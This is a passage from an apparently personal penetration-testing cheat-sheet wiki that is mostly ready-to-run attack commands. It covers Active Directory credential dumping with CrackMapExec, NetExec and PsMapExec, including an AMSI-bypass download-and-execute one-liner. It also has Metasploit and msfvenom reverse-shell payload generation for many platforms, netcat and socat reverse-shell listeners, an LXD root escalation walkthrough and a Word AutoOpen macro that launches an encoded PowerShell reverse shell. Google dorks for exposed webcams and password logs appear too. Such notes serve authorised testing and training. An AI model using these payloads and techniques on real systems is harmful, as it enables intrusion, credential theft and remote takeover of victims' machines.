cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
